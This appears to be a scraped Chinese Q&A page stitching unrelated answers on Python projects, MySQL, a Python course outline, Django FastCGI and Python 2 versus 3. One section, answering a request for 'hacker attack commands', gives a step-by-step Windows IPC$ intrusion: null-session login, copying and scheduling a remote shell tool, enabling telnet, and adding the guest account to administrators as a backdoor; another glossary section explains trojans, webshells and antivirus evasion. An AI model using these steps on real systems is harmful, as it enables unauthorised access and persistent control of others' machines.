python命名管道
❶ 去哪裡找python的開源項目
GitHub是一個面向開源及私有軟體項目的託管平台，因為只支持git 作為唯一的版本庫格式進行託管，故名GitHub。作為開源代碼庫以及版本控制系統，Github擁有超過900萬開發者用戶。隨著越來越多的應用程序轉移到了雲上，Github已經成為了管理軟體開發以及發現已有代碼的首選方法。在GitHub，用戶可以十分輕易地找到海量的開源代碼。
下面給大家介紹一些GitHub上25個開源項目：
（1）TensorFlow Models
如果你對機器學習和深度學習感興趣，一定聽說過TensorFlow。TensorFlow Models是一個開源存儲庫，可以找到許多與深度學習相關的庫和模型。
（GitHub： https://github.com/tensorflow/models ）
（2）Keras
Keras是一個高級神經網路API，用Python編寫，能夠在TensorFlow，CNTK或Theano之上運行。旨在完成深度學習的快速開發（GitHub： https://github.com/keras-team/keras ）
（3）Flask
Flask 是一個微型的 Python 開發的 Web 框架，基於Werkzeug WSGI工具箱和Jinja2 模板引擎，使用BSD授權。
（GitHub： https://github.com/pallets/flask ）
（4）scikit-learn
scikit-learn是一個用於機器學習的Python模塊，基於 NumPy、SciPy 和 matplotlib 構建。，並遵循 BSD 許可協議。
（GitHub： https://github.com/scikit-learn ）
（5）Zulip
Zulip是一款功能強大的開源群聊應用程序，它結合了實時聊天的即時性和線程對話的生產力優勢。Zulip作為一個開源項目，被許多世界500強企業，大型組織以及其他需要實時聊天系統的用戶選擇使用，該系統允許用戶每天輕松處理數百或數千條消息。Zulip擁有超過300名貢獻者，每月合並超過500次提交，也是規模最大，發展最快的開源群聊項目。
（GitHub： https://github.com/zulip/zulip ）
相關推薦：《Python入門教程》
（6）Django
Django 是 Python 編程語言驅動的一個開源模型-視圖-控制器（MVC）風格的 Web 應用程序框架，旨在快速開發出清晰，實用的設計。使用 Django，我們在幾分鍾之內就可以創建高品質、易維護、資料庫驅動的應用程序。
（GitHub： https://github.com/django/django ）
（7）Rebound
Rebound 是一個當你得到編譯錯誤時即時獲取 Stack Overflow 結果的命令行工具。 就用 rebound 命令執行你的文件。這對程序員來說方便了不少。
（GitHub： https://github.com/shobrook/rebound ）
（8）Google Images Download
這是一個命令行python程序，用於搜索Google Images上的關鍵字/關鍵短語，並可選擇將圖像下載到您的計算機。你也可以從另一個python文件調用此腳本。
（GitHub： https://github.com/hardikvasa/google-images-download ）
（9）YouTube-dl
youtube-dl 是基於 Python 的命令行媒體文件下載工具，完全開源免費跨平台。用戶只需使用簡單命令並提供在線視頻的網頁地址即可讓程序自動進行嗅探、下載、合並、命名和清理，最終得到已經命名的完整視頻文件。
（GitHub： htt ps://github.com/rg3/youtube-dl ）
（10）System Design Primer
此repo是一個系統的資源集合，可幫助你了解如何大規模構建系統。
（GitHub： https://github.com/donnemartin/system-design-primer ）
（11）Mask R-CNN
Mask R-CNN用於對象檢測和分割。這是對Python 3，Keras和TensorFlow的Mask R-CNN實現。該模型為圖像中對象的每個實例生成邊界框和分割蒙版。它基於特Feature Pyramid Network（FPN）和 ResNet101 backbone。
（GitHub： https://github.com/matterport/Mask_RCNN ）
（12）Face Recognition
Face Recognition 是一個基於 Python 的人臉識別庫，使用十分簡便。這還提供了一個簡單的face_recognition命令行工具，可以讓您從命令行對圖像文件夾進行人臉識別！
（GitHub： https://github.com/ageitgey/face_recognition ）
（13）snallygaster
用於掃描HTTP伺服器上的機密文件的工具。
（GitHub： https://github.com/hannob/snallygaster ）
（14）Ansible
Ansible是一個極其簡單的IT自動化系統。它可用於配置管理，應用程序部署，雲配置，支持遠程任務執行和多節點發布 - 包括通過負載平衡器輕松實現零停機滾動更新等操作。
（GitHub： https://github.com/ansible/ansible ）
（15）Detectron
Detectron是Facebook AI 研究院開源的的軟體系統，它實現了最先進的目標檢測演算法，包括Mask R-CNN。它是用Python編寫的，由Caffe2深度學習框架提供支持。
（16）asciinema
終端會話記錄器和asciinema.org的最佳搭檔。
（GitHub： https://github.com/asciinema/asciinema ）
（17）HTTPie
HTTPie 是一個開源的命令行的 HTTP 工具包，其目標是使與Web服務的CLI交互盡可能人性化。它提供了一個簡單的http命令，允許使用簡單自然的語法發送任意HTTP請求，並顯示彩色輸出。HTTPie可用於測試，調試以及通常與HTTP伺服器交互。
（GitHub： https://github.com/jakubroztocil/httpie ）
（18）You-Get
You-Get是一個小型命令行實用程序，用於從Web下載媒體內容（視頻，音頻，圖像），支持國內外常用的視頻網站。
（GitHub： https://github.com/soimort/you-get ）
（19）Sentry
Sentry從根本上講是一項服務，可以幫助用戶實時監控和修復崩潰。基於Django構建，它包含一個完整的API，用於從任何語言、任何應用程序中發送事件。
（GitHub: https://github.com/getsentry/sentry ）
（20）Tornado
Tornado是使用Python開發的全棧式（full-stack）Web框架和非同步網路庫，，最初是由FriendFeed上開發的。通過使用非阻塞網路I / O，Tornado可以擴展到數萬個開放連接，是long polling、WebSockets和其他需要為用戶維護長連接應用的理想選擇。
（GitHub： https://github.com/tornadoweb/tornado ）
（21）Magenta
Magenta是一個探索機器學習在創造藝術和音樂過程中的作用的研究項目。這主要涉及開發新的深度學習和強化學習演算法，用於生成歌曲，圖像，繪圖等。但它也是構建智能工具和界面的探索，它允許藝術家和音樂家使用這些模型。
（GitHub： https://github.com/tensorflow/magenta ）
（22）ZeroNet
ZeroNet是一個利用比特幣的加密演算法和BitTorrent技術提供的不受審查的網路，完全開源。
（GitHub： https://github.com/HelloZeroNet/ZeroNet ）
（23）Gym
OpenAI Gym是一個用於開發和比較強化學習演算法的工具包。這是Gym的開源庫，可讓讓你訪問標准化的環境。
（GitHub： https://github.com/openai/gym ）
（24）Pandas
Pandas是一個Python包，提供快速，靈活和富有表現力的數據結構，該工具是為了解決數據分析任務而創建的。Pandas 納入了大量庫和一些標準的數據模型，提供了高效地操作大型數據集所需的工具。此外，它還有更廣泛的目標，即成為所有語言中最強大，最靈活的開源數據分析/操作工具。它目前已經朝著這個目標邁進。
（GitHub： https://github.com/pandas-dev/pandas ）
（25）Luigi
Luigi 是一個 Python 模塊，可以幫你構建復雜的批量作業管道。處理依賴決議、工作流管理、可視化展示等等，內建 Hadoop 支持。（GitHub： https://github.com/spotify/luigi ）
❷ Quant 應該學習哪些 Python 知識
數據分析的python軟體包不能算是嚴格的Python知識吧？嚴格來說，熟練使用那些軟體包更多的還是依賴於金融市場，數理統計方面的知識，因為軟體包的API通常都是這些領域知識的術語。
作為一個quant, 這個問題（一個這時候的quant應該學習哪些Python知識）的必要性在於，Python在這個領域真的是很火，一句不過分的話說「華爾街以前運行在Excel上，今後會運行在Python上」 （當然技術上來講，這並非事實，要說這個可能性的基礎，從編程語言上來講，還得是C/C++，這里的說法更多是體現在Python語言作為一種最接近用戶層面的語言的流行度而來的， 同時即便從這個意義上來講，現在流行的還有R, Matlab, Q(在一些知名銀行很流行)等）。
以熟練掌握Python為目標，可以這樣來關注Python：
Python是一門什麼編程語言，它的顯著優勢和劣勢分別是什麼
Python編程環境的快速搭建（包括包管理（現在pip正在被標准化），編輯器，以及調試工具）
Python最被廣泛認同的編碼規范和最佳實踐是什麼 (e.g., ('a' + 'b') VS. ''.join(['a', 'b'], 這一點被很多初學者所忽略（「為什麼不呢？反正我的代碼運行正確了。」），但是如果學習者最初花多一點時間來回答這個問題（「雖然有多種選擇，但是哪種選擇在這個時候最合適」），或者說建立起來這樣一種思考方式，你將很快的超越自己，成為別人眼中的專家。)
Python內建的主要的數據類型（int, long, str, tuple, list, dict, heapq, deque - 內建的標准庫中並不包含像C++裡面那樣豐富的數據結構，Search Tree, Binary Search Tree, AVL/Splay/Red Black Tree, Graph等, 不過這些非線性的數據結構都可以在PyPI中找到），以及它們的常用API（這也正是Python的閃光點之一，即最初的編程效率的來源）。
Python的常用標准庫（Python擁有非常易用和功能完備的標准庫，使得Python在安裝之後就能應付大量問題，如字元處理，文件系統，HTTP, 常見數據文件處理等。語言的維護者早期應該是希望賦予Python以明朗的模塊組織結構，對於某類具體問題都存在一個明確的甚至是唯一的模塊，但是隨著這些年Python的流行，第三方包的大量增加，這種初衷現在面臨不少挑戰。直觀的結果是，在Python 2.X的版本里，你會找到像urllib2這樣命名的模塊。現在的Python 3所作出的眾多努力中就包括對這些模塊組織上的歧義進行整理。總的來說，用戶仍然還是可以迅速的回答「我該使用哪個模塊」這個通常需要不少經驗的問題。）
Python的面向對象範式怎麼使用（如何在此理解上可靠的實現封裝，重用，繼承，覆蓋）
Python在處理網路編程上的常見方案，常用標准包及第三方包（這本身是一個豐富的話題，同時也幾乎不可避免，熟練掌握這個話題需要多年的經驗，深層次的理解更需要系統的計算機科學知識，但是你可以從其中某一個具體的方案開始。Python內建標准包提供幾乎所有層次的網路編程術語，你可以工作在從IP到應用的所有層面。）
Python在處理CPU密集型運算時候採用的流行解決方案，以及它們的工作原理大致是什麼（這個理解可以幫助你以不變應萬變的從眾多第三方方案中選擇合適的候選者。流行的方案一般是通過Python <-> C/C++/Fortran互操作，可能會使用一些元編程語言（比如Cython)來進行language translation/generation，也有可能直接從C/C++/Fortran編寫的軟體中來生成二進制編程界面或者應用編程界面（取決於生成的過程是利用二進制文件（.lib, .so）還是源文件），甚至更新的嘗試會利用到一個多階段的源代碼處理管道，從Python源代碼，中間C/C++代碼，再到LLVM將Python代碼（目前比較成功的方案似乎支持到Python的一個理想子集）實時生成對應的機器碼。理解這一原理將幫助你克服Python在CPU密集運算時所遇到的瓶頸，同時我認為如果你將為你所在的部門構建一個基於Python的數據分析平台
❸ 跪求cmd黑客攻擊指令和cmd電腦命令！懸賞大大滴有
一 相關命令
建立空連接:
net use \\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)
建立非空連接:
net use \\IP\ipc$ "用戶名" /user:"密碼" (同樣有3個空格)
映射默認共享:
net use z: \\IP\c$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤，其他盤類推)
如果已經和目標建立了ipc$，則可以直接用IP+盤符+$訪問,具體命令 net use z: \\IP\c$
刪除一個ipc$連接
net use \\IP\ipc$ /del
刪除共享映射
net use c: /del 刪除映射的c盤，其他盤類推
net use * /del 刪除全部,會有提示要求按y確認
提示:對於不熟悉命令行操作的朋友來說.建立ipc$連接後,可以在"我的電腦"或"網上鄰居"右鍵映射網路驅動器,效果一樣.
二 經典入侵模式
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
這是用《流光》掃到的用戶名是administrators，密碼為"空"的IP地址(空口令?哇,運氣好到家了)，如果是打算攻擊的話，就可以用這樣的命令來與127.0.0.1建立一個連接，因為密碼為"空"，所以第一個引號處就不用輸入，後面一個雙引號里的是用戶名，輸入administrators，命令即可成功完成。
2. C:\> srv.exe \\127.0.0.1\admin$
先復制srv.exe上去，在流光的Tools目錄下就有（這里的$是指admin用戶的c:\winnt\system32\，大家還可以使用c$、d$，意思是C盤與D盤，這看你要復制到什麼地方去了）。
3. C:\>net time \\127.0.0.1
查查時間，發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00，命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧（這里設置的時間要比主機時間快，不然你怎麼啟動啊，呵呵！）
5. C:\>net time \\127.0.0.1
再查查到時間沒有？如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05，那就准備開始下面的命令。
6. C:\>telnet 127.0.0.1 99
這里會用到Telnet命令吧，注意埠是99。Telnet默認的是23埠，但是我們使用的是SRV在對方計算機中為我們建立一個99埠的Shell。
雖然我們可以Telnet上去了，但是SRV是一次性的，下次登錄還要再激活！所以我們打算建立一個Telnet服務！這就要用到ntlm了
7.C:\> ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上（ntlm.exe也是在《流光》的Tools目錄中）。
8. C:\WINNT\system32>ntlm
輸入ntlm啟動（這里的C:\WINNT\system32>指的是對方計算機，運行ntlm其實是讓這個程序在對方計算機上運行）。當出現"DONE"的時候，就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務！
9.Telnet 127.0.0.1，接著輸入用戶名與密碼就進入對方了，操作就像在DOS上操作一樣簡單！(然後你想做什麼?想做什麼就做什麼吧,哈哈)
為了以防萬一,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶激活
11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼
12. C:\>net localgroup administrators guest /add
將Guest變為Administrator^_^(如果管理員密碼更改，guest帳號沒改變的話，下次我們可以用guest再次訪問這台計算機).
ipc$經典入侵步驟：
1、net use \\ip\ipc$ 密碼 /user:用戶名
2、 文件名 \\ip\c$
3、net time \\ip
4、at \\ip 時間 命令
5、入侵成功，連接你的肉雞
常用的網路命令
net user 查看用戶列表
net user 用戶名 密碼 /add 添加用戶
net user 用戶名 密碼 更改用戶密碼
net localgroup administrators 用戶名 /add 添加用戶到管理組
net user 用戶名 /delete 刪除用戶
net user 用戶名 查看用戶的基本情況
net user 用戶名 /active:no 禁用該用戶
net user 用戶名 /active:yes 啟用該用戶
net share 查看計算機IPC$共享資源
net share 共享名 查看該共享的情況
net share 共享名=路徑 設置共享。例如 net share c$=c:
net share 共享名 /delete 刪除IPC$共享
net stop lanmanserver 關閉ipc$和默認共享依賴的服務
net use 查看IPC$連接情況
net use \\ip\ipc$ "密碼" /user:"用戶名" ipc$連接
net use \\ip\ipc$ /del 刪除一個連接
net use z: \\目標IP\c$ "密碼" /user:"用戶名" 將對方的c盤映射為自己的z盤
net use z: /del
net time \\ip 查看遠程計算機上的時間
路徑:\文件名 \\ip\共享名復制文件到已經ipc$連接的計算機上
net view ip 查看計算機上的共享資源
at 查看自己計算機上的計劃作業
at \\ip 查看遠程計算機上的計劃作業
at \\ip 時間 命令(注意加盤符) 在遠程計算機上加一個作業
at \\ip 計劃作業ID /delete 刪除遠程計算機上的一個計劃作業
at \\ip all /delete 刪除遠程計算機上的全部計劃作業
at \\ip time "echo 5 > c:\t.txt" 在遠程計算機上建立文本文件t.txt；
下面純手打，上面是度娘給的
taskkill /im 進程名 停止運行
tasklisy 查看運行進程
ipconfig 查看本機IP
md 創建文件夾
rd 刪除文件夾
echo off > .txt|exit 添加文本
echo 內容 >> .txt 給文本添加內容
復制文件
net user 用戶名 密碼/add 創建一個普通賬號
net localgroup administrators 用戶名 /add 把賬戶加入超級用戶組
❹ mysql 獨有的特性
MySQL的一些特點
1. 使用核心線程的完全多線程。這意味著它能很容易地利用多CPU（如果有）。
2. 支持C 、C++、 Eiffel 、 Java、 Perl、 php、Python、和 TCL API等客戶工具和 API。
3. 可運行在不同操作系統平台上。
4. 支持多種列類型：1、 2、 3、4、和 8 位元組長度的有符號/無符號整數、FLOAT、DOUBLE、CHAR、VARCHAR、TEXT、BLOB、DATE、TIME、DATETIME、 TIMESTAMP、YEAR、SET和ENUM類型。
5. 利用一個優化的一遍掃描多重聯結（one-sweep multi-join）非常快速地進行聯結(join)。
6. 在查詢的SELECT和WHERE部分支持全部運算符和函數，例如：
mysql> SELECT CONCAT(first_name, " ", last_name) FROM tbl_name
WHERE income/dependents > 10000 AND age > 30;
7. 通過一個高度優化的類庫實現SQL函數庫並且像他們能達到的一樣快速，通常在查詢初始化後不應該有任何內存分配。
8. 全面支持SQL的GROUP BY和ORDER BY子句，支持聚合函數( COUNT()、COUNT(DISTINCT)、AVG()、STD()、SUM()、 MAX()和MIN() )。
9. 支持ANSI SQL的LEFT OUTER JOIN和ODBC語法，你可以在同一查詢中混用來自不同資料庫的表。
10. 一個非常靈活且安全的許可權和口令系統，並且它允許基於主機的認證。口令是安全的，因為當與一個伺服器連接時，所有的口令傳送被加密。
11. ODBC for Windiws 95。所有的 ODBC 2 . 5 函數和其他許多函數。例如，你可以用Access連接你的 MySQL伺服器，具備索引壓縮的快速B樹磁碟表。
12. 每個表允許有16個索引。每個索引可以由1～16個列或列的一部分組成。最大索引長度是 256 個位元組(在編譯MySQL時，它可以改變)。一個索引可以使用一個CHAR或VARCHAR欄位的前綴。
13. 定長和變長記錄。用作臨時表的內存散列表。
14. 大資料庫處理。我們正在對某些包含 50,000,000 個記錄的資料庫使用MySQL。
15. 所有列都有預設值，你可以用INSERT插入一個表列的子集，那些沒用明確給定值的列設置為他們的預設值。為了可移植性使用 GNU Automake , Autoconf 和libtool。
16. 用C和C++編寫，並用大量不同的編譯器測試，一個非常快速的基於線程的內存分配系統。
17. 全面支持ISO-8859-1 Latin1 字元集。例如，斯堪的納維亞的字元 @ringaccent{a}, @"a and @"o 在表和列名字被允許。
18. 表和列的別名符合 SQL92 標准。
19. 函數名不會與表或列名沖突。例如ABS是一個有效的列名字。
20. 客戶端使用TCP/IP 連接或Unix套接字（socket）或NT下的命名管道連接MySQL。
21. MySQL特有的SHOW命令可用來檢索資料庫、表和索引的信息，EXPLAIN命令可用來確定優化器如何解決一個查詢。
以上來自網路，我自己感覺的話有：
1、輕量級、體積小
2、可嵌入
3、支持多重存儲引擎
4、開源
5、適用海量查詢、PHP等網站開發支持最好了，建站首選。
❺ 學習網路安全需要什麼基礎
基礎知識 1.
肉雞:所謂「肉雞」是一種很形象的比喻,比喻那些可以隨意被我們控制的電腦,對方可以是WINDOWS系統,也可以是UNIX/linux系統,可以是普通的個人電腦,也可以是大型的伺服器,我們可以象操作自己的電腦那樣來操作它們,而不被對方所發覺。
2.
木馬:就是那些表面上偽裝成了正常的程序,但是當這些被程序運行時,就會獲取系統的整個控制許可權。有很多黑客就是 熱中與使用木馬程序來控制別人的電腦,比如灰鴿子,黑洞,PcShare等等。
3.
網頁木馬:表面上偽裝成普通的網頁文件或是將而已的代碼直接插入到正常的網頁文件中,當有人訪問時,網頁木馬就會利用對方系統或者瀏覽器的漏洞自動將配置好的木馬的服務端下載到訪問者的電腦上來自動執行。
4.
掛馬:就是在別人的網站文件裡面放入網頁木馬或者是將代碼潛入到對方正常的網頁文件里,以使瀏覽者中馬。
5.
後門:這是一種形象的比喻,入侵者在利用某些方法成功的控制了目標主機後,可以在對方的系統中植入特定的程序,或者是修改某些設置。這些改動表面上是很難被察覺的,但是入侵者卻可以使用相應的程序或者方法來輕易的與這台電腦建立連接,重新控制這台電腦,就好象是入侵者偷偷的配了一把主人房間的要是,可以隨時進出而不被主人發現一樣。 通常大多數的特洛伊木馬(Trojan Horse)程序都可以被入侵者用語製作後門(BackDoor)
6.
rootkit:rootkit是攻擊者用來隱藏自己的行蹤和保留root(根許可權,可以理解成WINDOWS下的system或者管理員許可權)訪問許可權的工具。通常,攻擊者通過遠程攻擊的方式獲得root訪問許可權,或者是先使用密碼猜解(破解)的方式獲得對系統的普通訪問許可權,進入系統後,再通過,對方系統內存在的安全漏洞獲得系統的root許可權。然後,攻擊者就會在對方的系統中安裝rootkit,以達到自己長久控制對方的目的,rootkit與我們前邊提到的木馬和後門很類似,但遠比它們要隱蔽,黑客守衛者就是很典型的rootkit,還有國內的ntroorkit等都是不錯的rootkit工具。
7.
IPC$:是共享「命名管道」的資源,它是為了讓進程間通信而開放的餓命名管道,可以通過驗證用戶名和密碼獲得相應的許可權,在遠程管理計算機和查看計算機的共享資源時使用。
8.
弱口令:指那些強度不夠,容易被猜解的,類似123,abc這樣的口令(密碼)
9.
默認共享:默認共享是WINDOWS2000/XP/2003系統開啟共享服務時自動開啟所有硬碟的共享,因為加了"$"符號,所以看不到共享的托手圖表,也成為隱藏共享。
10.
shell:指的是一種命令指行環境,比如我們按下鍵盤上的「開始鍵+R」時出現「運行」對話框,在裡面輸入「cmd」會出現一個用於執行命令的黑窗口,這個就是WINDOWS的Shell執行環境。通常我們使用遠程溢出程序成功溢出遠程電腦後得到的那個用於執行系統命令的環境就是對方的shell
11.
WebShell:WebShell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做是一種網頁後門。黑客在入侵了一個網站後,通常會將這些asp或php後門文件與網站伺服器WEB目錄下正常的網頁文件混在一起,好後就可以使用瀏覽器來訪問這些asp 或者php後門,得到一個命令執行環境,以達到控制網站伺服器的目的。可以上傳下載文件,查看資料庫,執行任意程序命令等。國內常用的WebShell有海陽ASP木馬,Phpspy,c99shell等
12.
溢出:確切的講,應該是「緩沖區溢出」。簡單的解釋就是程序對接受的輸入數據沒有執行有效的檢測而導致錯誤,後果可能是造成程序崩潰或者是執行攻擊者的命令。大致可以分為兩類:(1)堆溢出;(2)棧溢出。
13.
注入:隨著B/S模式應用開發的發展,使用這種模式編寫程序的程序員越來越來越多,但是由於程序員的水平參差不齊相當大一部分應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼,根據程序返回的結果,獲得某些他想要知的數據,這個就是所謂的SQLinjection,即:SQL注意入。
14.
注入點:是可以實行注入的地方,通常是一個訪問資料庫的連接。根據注入點資料庫的運行帳號的許可權的不同,你所得到的許可權也不同。
15.
內網:通俗的講就是區域網,比如網吧,校園網,公司內部網等都屬於此類。查看IP地址如果是在以下三個范圍之內的話,就說明我們是處於內網之中的:10.0.0.0—10.255.255.255,172.16.0.0—172.31.255.255,192.168.0.0—192.168.255.255
16.
外網:直接連入INTERNET(互連網),可以與互連網上的任意一台電腦互相訪問,IP地址不是保留IP(內網)IP地址。
17.
埠:(Port)相當於一種數據的傳輸通道。用於接受某些數據,然後傳輸給相應的服務,而電腦將這些數據處理後,再將相應的恢復通過開啟的埠傳給對方。一般每一個埠的開放的偶對應了相應的服務,要關閉這些埠只需要將對應的服務關閉就可以了。
18.
3389、4899肉雞:3389是Windows終端服務(Terminal Services)所默認使用的埠號,該服務是微軟為了方便網路管理員遠程管理及維護伺服器而推出的,網路管理員可以使用遠程桌面連接到網路上任意一台開啟了終端服務的計算機上,成功登陸後就會象操作自己的電腦一樣來操作主機了。這和遠程式控制制軟體甚至是木馬程序實現的功能很相似,終端服務的連接非常穩定,而且任何殺毒軟體都不會查殺,所以也深受黑客喜愛。黑客在入侵了一台主機後,通常都會想辦法先添加一個屬於自己的後門帳號,然後再開啟對方的終端服務,這樣,自己就隨時可以使用終端服務來控制對方了,這樣的主機,通常就會被叫做3389肉雞。Radmin是一款非常優秀的遠程式控制制軟體,4899就是Radmin默認使以也經常被黑客當作木馬來使用(正是這個原因,目前的殺毒軟體也對Radmin查殺了)。有的人在使用的服務埠號。因為Radmin的控制功能非常強大,傳輸速度也比大多數木馬快,而且又不被殺毒軟體所查殺,所用Radmin管理遠程電腦時使用的是空口令或者是弱口令,黑客就可以使用一些軟體掃描網路上存在Radmin空口令或者弱口令的主機,然後就可以登陸上去遠程式控制制對惡劣,這樣被控制的主機通常就被成做4899肉雞。
19.
免殺:就是通過加殼、加密、修改特徵碼、加花指令等等技術來修改程序,使其逃過殺毒軟體的查殺。
20.
加殼:就是利用特殊的酸法,將EXE可執行程序或者DLL動態連接庫文件的編碼進行改變(比如實現壓縮、加密),以達到縮小文件體積或者加密程序編碼,甚至是躲過殺毒軟體查殺的目的。目前較常用的殼有UPX,ASPack、PePack、PECompact、UPack、免疫007、木馬綵衣等等。
21.
花指令:就是幾句匯編指令,讓匯編語句進行一些跳轉,使得殺毒軟體不能正常的判斷病毒文件的構造。說通俗點就是」殺毒軟體是從頭到腳按順序來查找病毒。如果我們把病毒的頭和腳顛倒位置,殺毒軟體就找不到病毒了「。
❻ Python培訓大綱哪有
可參考以下課程大綱
第一階段：Python入門
基本語法
1.Python變數；2.Python的數據類型；3.Python中的運算符；4.流程式控制制；5.猜數字；6.猜數字改進；7.斐波那契數列、漢諾塔
字元串解析
1.字元串；2.原始字元串；3.長字元串；4.字元串內置方法；5.字元串格式化
時間日歷
1.時間和日期；2.獲取格式化時間 ；3.獲取日歷；4.Time模塊；5.時間格式；6.日歷模塊
文件操作
1.在線文件管理系統；2.自定義遞歸統計目錄函數；3.自定義遞歸賦值目錄函數；4.自定義目錄復制函數；5.自定義文件復制函數；6.優化在線文件管理系統
Python模塊
1.模塊概念；2.模塊 函數 對象都是將程3.序分成較小的部分；4.模塊就是可用代碼打包；5.模塊就是更高級的封裝；6.模塊作用；7.模塊用法；8.命名空間；9.導入模塊；10.包
異常處理
1.什麼是異常；2.檢測異常；3.處理異常；4.異常傳遞；5.自定義拋異常；6.With語句
實戰項：Python及PyGame 快速開發
打飛機小游戲
1.游戲界面開發；2.檢測鍵盤；3.操控飛機；4.射擊子彈；5.敵機移動；6.射擊積分；7.判斷勝負
漢諾塔
Tkinter實現簡易計算器
第二階段：編程思想-演算法、面向對象
數據結構及演算法
1. 數組、鏈表、棧、隊列、樹、圖2. 冒泡、二叉樹、哈希、拆半等各種常見排序和查找演算法學習
面向對象
1.面向對象思想；2.對象是一種封裝的思想；3.數據和方法都封裝在一起；4.類和對象；5.Self關鍵詞；6.Python魔術方法；7.多態；8.類屬性和實例屬性；9.靜態方法和類方法； 10.類的繼承；11.繼承的作用,不要每次都重新定義；12.讓相似的東西自動傳遞就是繼承；13.類繼承的應用
設計模式
1.工廠模式；2.單例模式
第三階段：Python全棧
HTML5+CSS3
1.一個最簡單的頁面；2.表格製作個人簡歷；3.音、視頻頁面；4.用戶信息錄入驗證；5.網站首頁；6.網頁導航欄製作；7.使用表單製作注冊頁面；8.常見過濾、動畫特效；9.頁面布局；10.兩欄、三欄頁面；11.門戶網站首頁製作
JavaScript
1.JavaScript簡介；2.在頁面中使用JavaScript；3.JavaScript的語法；4.JS的DOM操作；5.JS的BOM操作；6.AJAX
JQuery
1.JQuery簡介；2.JQuery安裝；3.JQuery CSS操作；4.JQuery選擇器；5.JQuery篩選；6.JQuery HTML文檔處理；7.JQuery事件；8.JQuery效果；9.JQuery Ajax；10.JQuery其他操作；11.JQuery插件
項目
1.PS切圖；2.CSS重置樣式表；3.網頁規范；4.兼容性；5.SASS；6.Compass精靈圖；7.代碼壓縮；8.常見網站效果；9.rem相對大小布局
JavaScript單頁應用技術開發實戰
1.Bootstrap前端開發框架；2.Bootstrap前端開發框架
Django框架開發
1.Django框架發展；2.Django架構、MTV模式；3.開發流程；4.開發實例
RESTful介面開發
1.RESTful API是什麼；2.如何設計好用的API；3.協議；4.域名；5.版本；6.路徑；7.HTTP動詞；8.過濾信息；9.狀態碼；10.錯誤處理；11.返回結果；12.Hypermedia API；13.身份認證；14.數據格式
微信公眾號開發
1.微平台簡介；2.微信服務號的申請與使用；3.接入方式簡介；4.微信公眾號數據格式簡介；5.公眾號介面數據解析和常用的令數據獲取；6.信息教研原理 7.接收和發送文本數據包；8.接收和發送圖片數據包；9.接收和發送新聞數據包；10.自定義菜單；11.微信支付介面接入與開發
MySQL資料庫設計
1.資料庫管理；2.MySQL資料庫中數據表的設計；3.SQL語言設計
第四階段：現代軟體開發方法
Git項目代碼管理和項目開發流程
1.MarkDown文檔編寫；
2.Git分布式版本控制器
敏捷、代碼重構、測試驅動開發、自動化
第五階段:非關系型資料庫-NoSQL
非關系型資料庫-NoSQL
MongoDB
Redis
Elasticsearch
第六階段:Python運維
Linux
1.Linux常用命令；2.Linux系統管理；3.Linux網路應用；
Linux網路編程
1.網路編程原理；2.UDP網路編程；3.TCP網路編程；4.requests模塊
Shell腳本編程
1.互動式程序與Shell腳本；2.Shell語法；3.管道和重定向；4.find&grep詳解；5.sed&awk腳本簡介
第七階段:Python人工智慧
網路爬蟲
1.爬蟲原理與數據抓取；2.scrapy框架；3.爬蟲分布式集群
大數據科學分析
1.數據分析；2.數據可視化
機器學習、深度學習
1.監督學習演算法；2.Spark; 3.TensorFlow
第八階段:畢業沖刺
畢業沖刺
綜合運用前三階段所學知識、為畢業就業做最後沖刺
1. 大型實戰項目開發
2. 面試准備
❼ 如何windows+django+fastcgi+iis
首先要安裝 flup ，
這是 Python 處理 FastCGI 的庫。
FactCGI 採用 c/s 模型，獨立的運行一個進程。在需要處理請求時，web 伺服器(apache, httpd,..)直接和 FactCGI 進程進行通信即可。
web 伺服器可通過兩種辦法和 FastCGI server 連接：
1. Unix domain socket(或 win32 的「命名管道")
2. TCP socket
通常 TCP socket 更簡單，因為許可權問題比較好配置。
如何啟動 FactCGI 伺服器：
到項目目錄中，執行：
./manage.py runfcgi [options]
如果要看幫助：
./manage.py runfcgi help
在選項中，需要指定一個 socket 或 host 和 port 的組合，這樣的話，當你啟動 web server 時，就可以通過這些信息來連接到 FactCGI 伺服器。
❽ python2和python3的區別，轉換及共存
python2和python3的區別
1.性能
Py3.0運行 pystone benchmark的速度比Py2.5慢30%。Guido認為Py3.0有極大的優化空間，在字元串和整形操作上可以取得很好的優化結果。
Py3.1性能比Py2.5慢15%，還有很大的提升空間。
2.編碼
Py3.X源碼文件默認使用utf-8編碼，這就使得以下代碼是合法的：
>>> 中國 = 'china'
>>>print(中國)
china
3. 語法
1）去除了<>，全部改用!=
在Python 2里，為了得到一個任意對象的字元串表示，有一種把對象包裝在反引號里(比如`x`)的特殊語法。在Python 3里，這種能力仍然存在，但是你不能再使用反引號獲得這種字元串表示了。你需要使用全局函數repr()。
Notes
Python 2
Python 3
①
`x` repr(x)
②
`'PapayaWhip' + `2`` repr('PapayaWhip'+repr(2))
Note:x可以是任何東西—一個類，函數，模塊，基本數據類型，等等。repr()函數可以使用任何類型的參數。
2）去除``，全部改用repr()
3）關鍵詞加入as 和with，還有True,False,None
4）整型除法返回浮點數，要得到整型結果，請使用//
由於人們常常會忽視Python 3在整數除法上的改動（寫錯了也不會觸發Syntax Error），所以在移植代碼或在Python 2中執行Python 3的代碼時，需要特別注意這個改動。
所以，我還是會在Python 3的腳本中嘗試用float(3)/2或 3/2.0代替3/2，以此來避免代碼在Python 2環境下可能導致的錯誤（或與之相反，在Python 2腳本中用from __future__ import division來使用Python 3的除法）。
Python 2
print'3/2=',3/2print'3//2=',3//2print'3/2.0=',3/2.0print'3//2.0=',3//2.0
3/2=13//2=13/2.0=1.53//2.0=1.0
默認，如果兩個操作數都是整數，Python 2 自動執行整型計算。
Python 3
